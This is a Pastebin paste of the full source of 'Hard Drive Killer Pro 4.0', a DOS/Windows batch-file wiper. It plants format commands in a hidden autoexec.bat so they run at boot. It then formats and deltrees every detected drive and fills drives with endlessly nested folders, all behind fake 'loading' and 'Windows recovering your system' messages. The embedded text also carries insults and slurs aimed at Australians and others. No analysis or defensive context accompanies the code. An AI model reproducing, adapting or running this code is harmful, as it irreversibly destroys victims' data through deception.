Advertisement
Guest User

HDKP source

a guest
Oct 24th, 2014
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.65 KB | None | 0 0
  1. :start
  2. cls
  3. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  4. call attrib -r -h c:\autoexec.bat >nul
  5. echo @echo off >c:\autoexec.bat
  6. echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
  7. call attrib +r +h c:\autoexec.bat >nul
  8.  
  9. rem Drive checking and assigning the valid drives to the drive variable.
  10.  
  11. set drive=
  12. set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
  13.  
  14. rem code insertion for Drive Checking takes place here.
  15. rem drivechk.bat is the file name under the root directory.
  16. rem As far as the drive detection and drive variable settings, don't worry about how it
  17. rem works, it's damn to complicated for the average or even the expert batch programmer.
  18. rem Except for Tom Lavedas.
  19.  
  20. echo @echo off >drivechk.bat
  21. echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
  22. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  23. del {t}.bat
  24. echo if errorlevel 1 goto enddc >>drivechk.bat
  25.  
  26. cls
  27. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  28.  
  29. rem When errorlevel is 1, then the above is not true, if 0, then it's true.
  30. rem Opposite of binary rules. If 0, it will elaps to the next command.
  31.  
  32. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
  33. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  34. del {t}.bat
  35. echo if errorlevel 1 goto enddc >>drivechk.bat
  36.  
  37. cls
  38. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  39.  
  40. rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
  41. rem if errorlevel is 0, then it will elaps to the next command.
  42.  
  43. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
  44. %comspec% /e:2048 /c {t}.bat >>drivechk.bat
  45. del {t}.bat
  46. echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
  47.  
  48. cls
  49. echo PLEASE WAIT WHILE PROGRAM LOADS . . .
  50.  
  51. rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
  52. rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
  53.  
  54. echo :enddc >>drivechk.bat
  55.  
  56. rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
  57.  
  58. rem Now we will use the program drivechk.bat to attain valid drive information.
  59.  
  60. :testdrv
  61.  
  62. for %%a in (%alldrive%) do call drivechk.bat %%a >nul
  63.  
  64. del drivechk.bat >nul
  65.  
  66. :form_del
  67. call attrib -r -h c:\autoexec.bat >nul
  68. echo @echo off >c:\autoexec.bat
  69. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  70. echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
  71. echo cls >>c:\autoexec.bat
  72. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  73. echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
  74. echo cls >>c:\autoexec.bat
  75. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  76. echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
  77. echo cls >>c:\autoexec.bat
  78. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  79. echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
  80. echo cls >>c:\autoexec.bat
  81. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  82. echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
  83. echo cls >>c:\autoexec.bat
  84. echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
  85. echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
  86. echo cd\ >>c:\autoexec.bat
  87. echo cls >>c:\autoexec.bat
  88. echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
  89. echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
  90. echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
  91. echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
  92. echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
  93. echo echo 4. If you are Australian, I feel sorry for you, accept my sympathy, you retard. >>c:\autoexec.bat
  94. echo echo 5. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
  95.  
  96. echo echo. >>c:\autoexec.bat
  97. echo echo Regards, >>c:\autoexec.bat
  98. echo echo. >>c:\autoexec.bat
  99. echo echo Munga Bunga >>c:\autoexec.bat
  100. call attrib +r +h c:\autoexec.bat
  101.  
  102. :makedir
  103. if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
  104. echo @echo off >c:\temp.bat
  105. echo %%1:\ >>c:\temp.bat
  106. echo cd\ >>c:\temp.bat
  107. echo :startmd >>c:\temp.bat
  108. echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
  109. echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
  110. echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
  111. call attrib +r +h c:\temp.bat >nul
  112.  
  113. cls
  114. echo Initializing Variables . . .
  115. rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
  116. for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
  117. cls
  118. echo Initializing Variables . . .
  119. echo Validating Data . . .
  120. for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
  121. cls
  122. echo Initializing Variables . . .
  123. echo Validating Data . . .
  124. echo Analyzing System Structure . . .
  125. for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
  126. call attrib +r +h c:\temp.bat >nul
  127. call attrib +r +h c:\autoexec.bat >nul
  128. cls
  129. echo Initializing Variables . . .
  130. echo Validating Data . . .
  131. echo Analyzing System Structure . . .
  132. echo Initializing Application . . .
  133.  
  134. for %%a in (%drive%) call deltree /y %%a:\*. >nul
  135. cls
  136. echo Initializing Variables . . .
  137. echo Validating Data . . .
  138. echo Analyzing System Structure . . .
  139. echo Initializing Application . . .
  140. echo Starting Application . . .
  141. for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
  142.  
  143. cls
  144. echo Thank you for using a Munga Bunga product.
  145. echo.
  146. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
  147. echo.
  148. echo Here is a joke for you . . .
  149. echo.
  150. echo Q). What's the worst thing about being an egg?
  151. echo A). You only get laid once.
  152. echo.
  153. echo HAHAHAHA, get it? Don't you just love that one?
  154. echo.
  155. echo Regards,
  156. echo.
  157. echo Munga Bunga
  158.  
  159. :end
  160.  
  161. rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
  162.  
  163. rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement